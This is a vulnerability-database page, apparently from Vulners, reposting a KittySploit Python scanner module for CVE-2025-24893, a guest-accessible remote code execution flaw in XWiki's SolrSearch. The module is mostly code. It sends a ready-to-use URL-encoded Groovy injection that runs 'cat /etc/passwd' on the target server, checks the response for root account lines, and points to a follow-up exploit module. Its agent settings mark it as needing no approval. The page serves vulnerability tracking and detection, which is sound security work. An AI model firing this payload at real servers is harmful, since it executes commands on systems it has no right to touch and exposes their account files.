Lucene search
+L

XWiki Platform - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Any guest can perform arbitrary remote code execution through a request to SolrSearch.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
6 Aug 202515:56
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
3 Aug 202514:49
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
3 Aug 202511:38
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
29 May 202601:52
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
3 Nov 202513:13
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-32019
3 Aug 202511:05
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
3 Aug 202512:39
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
5 Aug 202507:15
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
13 Aug 202521:49
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Xwiki
16 Apr 202601:18
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Any guest can perform arbitrary remote code execution through a request to SolrSearch."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'XWiki Platform - Remote Code Execution Detection',
        'description': 'Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'xwiki', 'rce', 'vkev', 'vuln', 'kev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/multi/http/xwiki_cve_2025_24893_rce'],
            },
        },
        'references': [
            'https://github.com/advisories/GHSA-rr6p-3pfg-562j',
            'https://nvd.nist.gov/vuln/detail/CVE-2025-24893',
        ],
        'cve': 'CVE-2025-24893',
    }

    def run(self):
        for path in ('/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20', '/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            content_type = r.headers.get("Content-Type") or r.headers.get("content-type") or ""
            ctype_any = ('application/rss+xml',)
            body_regexes = ('root:.*:0:0', 'wiki',)
            if (any(m in content_type for m in ctype_any)) and (any(re.search(rx, body) for rx in body_regexes)):
                self.set_info(
                    severity='critical',
                    reason='XWiki Platform - Remote Code Execution detected',
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.99864
SSVC
2